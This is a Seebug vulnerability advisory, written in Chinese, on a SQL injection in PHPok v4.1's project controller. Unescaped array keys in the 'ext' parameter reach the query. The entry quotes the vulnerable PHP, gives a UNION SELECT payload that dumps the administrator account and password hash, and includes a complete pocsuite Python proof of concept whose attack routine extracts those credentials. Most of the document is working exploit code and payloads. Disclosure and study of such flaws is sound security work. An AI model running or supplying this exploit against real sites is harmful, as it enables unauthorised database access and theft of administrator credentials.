PHPok v4.1 /framework/www/project/control.php SQL注入漏洞

2014-12-30T00:00:00
ID SSV:89008
Type seebug
Reporter Root
Modified 2014-12-30T00:00:00

Description

<ul><li>/framework/www/project_control.php</li></ul> ``` $ext = $this->get("ext");

if($ext &amp;&amp; is_array($ext))

{

    $c = '';

    foreach($ext AS $key=&gt;$value)

    {

    if($key &amp;&amp; $value)

    {

        $c[] = "ext.".$key." LIKE '%".$value."%'";

        $pageurl .= "ext[".$key."]=".rawurlencode($value)."&amp;";

    }

    }

    if($c) $dt['sqlext'] = implode(" AND ",$c);

    $this-&gt;assign('ext',$ext);

}

```

<p>通过get()方法获得ext,带入SQL语句中,跟进get方法。<br></p><ul><li>/framework/init.php</li></ul>

``` function get($id,$type="safe",$ext="")

{

    $val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : "");

    if($val == '') return false;

    //判断内容是否有转义,所有未转义的数据都直接转义

    $addslashes = false;

    if(function_exists("get_magic_quotes_gpc") &amp;&amp; get_magic_quotes_gpc()) $addslashes = true;

    if(!$addslashes) $val = $this-&gt;_addslashes($val);

    return $this-&gt;format($val,$type,$ext);

} ```

<p>获取到用户传入的ext并进入format函数:</p><pre class=""> function format($msg,$type="safe",$ext="")

{

    if($msg == "") return false;

    if(is_array($msg))

    {

        foreach($msg AS $key=&gt;$value)

        {

            $msg[$key] = $this-&gt;format($value,$type,$ext);

        }

        return $msg;

    }

…… </pre><p>当msg为数组时,并未addslashes直接返回,造成key可以插入注入语句造成注入。当用户提交:</p><pre class="">c=project&id=product&ext[id%3D0%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cconcat%28account%2C0x7c%2Cpass%29%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%20from%20qinggan_adm%23]=test</pre><p>执行的SQL语句为:</p><pre class="">SELECT l.*,ext.thumb,ext.pictures,ext.spec_single,ext.qingdian,ext.content FROM qinggan_list l JOIN qinggan_list_24 ext ON(l.id=ext.id AND l.site_id=ext.site_id AND l.project_id=ext.project_id) WHERE l.project_id=45 AND l.site_id=1  AND l.hidden=0  AND l.status=1 AND l.parent_id=0 AND l.cate_id IN(70,72,157,158,168,169,170,171,172,173,174,175,176,177,178,179,180,151,167,161,166,163,165,164,160,181,182,183,152,184,185,186,187,188,189,190,191,192,193)  AND ext.id=0 union select 1,2,3,4,5,6,concat(account,0x7c,pass),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from qinggan_adm# LIKE '%test%'ORDER BY l.sort DESC,l.dateline DESC,l.id DESC LIMIT 0,5</pre><p>页面返回: </p><p><img alt="5553D3D8-879F-40E0-A40D-182F64F7B3C3.png" src="https://images.seebug.org/@/uploads/1434683360753-5553D3D8-879F-40E0-A40D-182F64F7B3C3.png" data-image-size="1318,608"><br></p><p>证明漏洞存在。</p>

                                        
                                            
                                                #!/usr/bin/env python
# coding: utf-8

import re

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1652'  # vul ID
    version = '1'
    author = ['zhengdt']
    vulDate = '2014-11-12'
    createDate = '2014-11-19'
    updateDate = '2014-11-19'
    references = ['http://wooyun.org/bugs/wooyun-2014-083018']
    name = 'PHPok v4.1 /framework/www/project/control.php SQL注入漏洞 POC'
    appPowerLink = 'http://www.phpok.com/'
    appName = 'PHPOK'
    appVersion = '4.1'
    vulType = 'SQL Injection'
    desc = '''
        PHPOK v4.1 framework/www/project/control.php 存在 key 值未过滤直接带入 SQL 语句导致
        注入漏洞,可以获取管理员的账号密码,造成信息泄露。
    '''

    samples = ['']

    def _attack(self):
        result = {}
        params = {
            'c': 'project',
            'id': 'product',
            'ext[id=0 union select 1,2,3,4,5,6,concat(account,0x7c,pass),8,9,10,11,12,13,14,15,' \
                    '16,17,18,19,20,21,22,23,24,25,26,27,28 from qinggan_adm#]': 'test'
        }
        response = req.get('%s/index.php' % self.url, params=params).content
        match_result = re.search(r'\stitle="(?P&lt;Username&gt;.*)\|(?P&lt;Password&gt;[a-z0-9]{32}:[\w\d]{2})"', response)
        if match_result:
            result['AdminInfo'] = match_result.groupdict()

        return self.parse_attack(result)

    def _verify(self):
        result = {}
        params = {
            'c': 'project',
            'id': 'product',
            'ext[id=0 union select 1,2,3,4,5,6,md5(6234897582),8,9,10,11,12,13,14,15,' \
                    '16,17,18,19,20,21,22,23,24,25,26,27,28#]': 'test'
        }
        response = req.get('%s/index.php' % self.url, params=params).content
        if 'b6c8ab6c9f67f07b64c0241212459eaa' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)